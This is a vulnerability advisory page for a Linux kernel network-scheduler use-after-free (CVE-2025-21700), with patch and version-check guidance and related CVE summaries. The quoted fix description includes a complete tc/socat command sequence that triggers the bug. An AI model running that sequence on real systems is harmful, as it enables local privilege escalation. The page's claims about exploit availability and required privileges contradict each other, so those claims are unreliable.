high CVSS 7.8

CVE-2025-21700·Kernel vulnerability

In the Linux kernel, the following vulnerability has been resolved: net: sched: Disallow replacing of child qdisc from one parent to another Lion Ackermann was able to create a UAF which can be abused for privilege escalation with the following script Step 1. create root qdisc tc qdisc add dev lo root handle 1:0 drr step2. a class for packet aggregation do demonstrate uaf tc class add dev lo classid 1:1 drr step3. a class for nesting tc class add dev lo classid 1:2 drr step4. a class to graft qdisc to tc class add dev lo classid 1:3 drr step5. tc qdisc add dev lo parent 1:1 handle 2:0 plug limit 1024 step6. tc qdisc add dev lo parent 1:2 handle 3:0 drr step7. tc class add dev lo classid 3:1 drr step 8. tc qdisc add dev lo parent 3:1 handle 4:0 pfifo step 9. Display the class/qdisc layout tc class ls dev lo class drr 1:1 root leaf 2: quantum 64Kb class drr 1:2 root leaf 3: quantum 64Kb class drr 3:1 root leaf 4: quantum 64Kb tc qdisc ls qdisc drr 1: dev lo root refcnt 2 qdisc plug 2: dev lo parent 1:1 qdisc pfifo 4: dev lo parent 3:1 limit 1000p qdisc drr 3: dev lo parent 1:2 step10. trigger the bug <=== prevented by this patch tc qdisc replace dev lo parent 1:3 handle 4:0 step 11. Redisplay again the qdiscs/classes tc class ls dev lo class drr 1:1 root leaf 2: quantum 64Kb class drr 1:2 root leaf 3: quantum 64Kb class drr 1:3 root leaf 4: quantum 64Kb class drr 3:1 root leaf 4: quantum 64Kb tc qdisc ls qdisc drr 1: dev lo root refcnt 2 qdisc plug 2: dev lo parent 1:1 qdisc pfifo 4: dev lo parent 3:1 refcnt 2 limit 1000p qdisc drr 3: dev lo parent 1:2 Observe that a) parent for 4:0 does not change despite the replace request. There can only be one parent. b) refcount has gone up by two for 4:0 and c) both class 1:3 and 3:1 are pointing to it. Step 12. send one packet to plug echo "" | socat -u STDIN UDP4-DATAGRAM:127.0.0.1:8888,priority=$((0x10001)) step13. send one packet to the grafted fifo echo "" | socat -u STDIN UDP4-DATAGRAM:127.0.0.1:8888,priority=$((0x10003)) step14. lets trigger the uaf tc class delete dev lo classid 1:3 tc class delete dev lo classid 1:1 The semantics of "replace" is for a del/add _on the same node_ and not a delete from one node(3:1) and add to another node (1:3) as in step10. While we could "fix" with a more complex approach there could be consequences to expectations so the patch takes the preventive approach of "disallow such config". Joint work with Lion Ackermann <nnamrec@gmail.com>

Severity
high
Software
Kernel
Fixed in
6.13.2
Published
2025-02-13

Affected versions

From: 6.13

Until: 6.13.2

Fixed in: 6.13.2

How to fix this CVE

Update your Linux kernel to version 6.13.2 or later to remediate CVE-2025-21700, which allows unprivileged local attackers to trigger use-after-free conditions in the network scheduler subsystem. This vulnerability requires disabling the ability to reparent qdisc (queue discipline) objects across different parent classes, preventing a class of privilege escalation attacks. Apply the kernel update through your distribution's package manager and reboot your system to activate the patched kernel.

sudo dnf update kernel && sudo reboot

Defensia detects this vulnerability

How to check if you are affected

  1. Step 1: Check your current kernel version with `uname -r` and confirm if it falls within the affected range (6.13.0 to 6.13.1)
  2. Step 2: Verify the vulnerable qdisc replace functionality is accessible to unprivileged users by running `tc qdisc show` on the loopback interface (requires CAP_NET_ADMIN but demonstrates exposure)
  3. Step 3: Search kernel logs with `sudo dmesg | grep -i qdisc` or `sudo journalctl -u kernel | grep -i qdisc` for any warnings or errors related to qdisc operations, which may indicate exploitation attempts
  4. Step 4: After patching, verify the new kernel is loaded with `uname -r` and confirm it shows version 6.13.2 or later, then test that `tc qdisc replace` operations across parent classes are properly rejected

FAQ

What is CVE-2025-21700?

CVE-2025-21700 is a use-after-free vulnerability in the Linux kernel's network scheduler (qdisc) implementation that allows unprivileged local users to reparent queue discipline objects across different parent classes, leading to memory corruption and privilege escalation.

Is CVE-2025-21700 being actively exploited?

No, CVE-2025-21700 is not listed on CISA's Known Exploited Vulnerabilities catalog and no public exploit code has been released, though proof-of-concept code demonstrating the vulnerability exists in security research.

What versions of Kernel are affected by CVE-2025-21700?

Linux kernel versions 6.13.0 through 6.13.1 are affected. The vulnerability was fixed in kernel version 6.13.2 and later stable releases.

How do I check if my server is vulnerable to CVE-2025-21700?

Run `uname -r` to check your kernel version; if it reports 6.13.0 or 6.13.1, your system is vulnerable and requires immediate patching to 6.13.2 or later.

Does Defensia detect CVE-2025-21700?

Yes — Defensia's CVE advisory scanner compares installed package versions against the NVD database. If Linux kernel is installed on a monitored server, CVE-2025-21700 will appear in your dashboard with remediation steps.

Related Kernel CVEs

CVE-2026-63994CVSS 9.8In the Linux kernel, the following vulnerability has been resolved: tunnels: load network headers after skb_cow() in iptunnel_pmtud_build_icmp[v6]() Sashiko found that iptunnel_pmtud_build_icmp() and iptunnel_pmtud_build_icmpv6() were caching ip_hdr() and ipv6_hdr() before an skb_cow() call which can reallocate skb->head. Fix this possible UAF by initializing the local variables after the skb_cow() call. Remove skb_reset_network_header() calls which were not needed.
CVE-2026-64025CVSS 9.8In the Linux kernel, the following vulnerability has been resolved: bpf, skmsg: fix verdict sk_data_ready racing with ktls rx sk_psock_strp_data_ready() already checks tls_sw_has_ctx_rx() and defers to psock->saved_data_ready when a TLS RX context is present, avoiding a conflict with the TLS strparser's ownership of the receive queue (commit e91de6afa81c, "bpf: Fix running sk_skb program types with ktls"). sk_psock_verdict_data_ready() has no equivalent guard. When a socket is inserted into a sockmap (BPF_SK_SKB_VERDICT) before TLS RX is configured, tls_sw_strparser_arm() saves sk_psock_verdict_data_ready as rx_ctx->saved_data_ready. On data arrival: tls_data_ready -> tls_strp_data_ready -> tls_rx_msg_ready -> saved_data_ready() = sk_psock_verdict_data_ready() -> tcp_read_skb() drains sk_receive_queue via __skb_unlink() without calling tcp_eat_skb(), so copied_seq is not advanced. tls_strp_msg_load() then finds tcp_inq() >= full_len (stale), calls tcp_recv_skb() on the now-empty queue, hits WARN_ON_ONCE(!first), and returns with rx_ctx->strp.anchor.frag_list pointing at a psock-owned (potentially freed) skb. tls_decrypt_sg() subsequently walks that frag_list: use-after-free. Apply the same fix as sk_psock_strp_data_ready(): if a TLS RX context is present, call psock->saved_data_ready (sock_def_readable) to wake recv() waiters and return immediately, leaving the receive queue untouched. TLS retains sole ownership of the queue and decrypts the record normally through tls_sw_recvmsg().
CVE-2026-100075CVSS 9.8In the Linux kernel, the following vulnerability has been resolved: RDMA/srpt: Fix srpt_alloc_rw_ctxs() unwind counters When srpt_alloc_rw_ctxs() fails partway through a multi-buffer indirect descriptor, the unwind path destroys RDMA contexts but leaves stale n_rw_ctx and n_rdma values (and a dangling rw_ctxs pointer). Later sq_wr_avail accounting in srpt_queue_response() or srpt_write_pending() can then subtract the wrong number of send queue credits. Reset the counters and clear rw_ctxs after freeing the heap allocation before returning an error.
CVE-2026-64000CVSS 9.8In the Linux kernel, the following vulnerability has been resolved: net: hsr: fix potential OOB access in supervision frame handling Ensure the entire TLV header is linearized before access by adding sizeof(struct hsr_sup_tlv) to the pskb_may_pull() calls. Without this, a truncated frame could cause an out-of-bounds access.
CVE-2026-64439CVSS 9.8In the Linux kernel, the following vulnerability has been resolved: crypto: krb5 - filter out async aead implementations at alloc krb5_aead_encrypt(), krb5_aead_decrypt() in rfc3961_simplified.c and rfc8009_encrypt(), rfc8009_decrypt() in rfc8009_aes2.c set a NULL completion callback and treat any negative return from crypto_aead_{encrypt,decrypt}() as terminal, falling through to kfree_sensitive(buffer). When the encrypt_name resolves to an async AEAD instance the request returns -EINPROGRESS, the buffer is freed while the backend's worker still holds a pointer, and the worker dereferences the freed slab on completion. KASAN report under UML+SLUB with a synthetic async aead backend bound to krb5->encrypt_name: BUG: KASAN: slab-use-after-free in t5_stub_complete+0x7d/0xc7 The helpers were written synchronously, so filter the async instances out at allocation time instead of plumbing crypto_wait_req() through every call site. Reachable via net/rxrpc/rxgk.c, fs/afs/cm_security.c and net/ceph/crypto.c on systems with an async AEAD provider bound to the krb5 enctype name.

References

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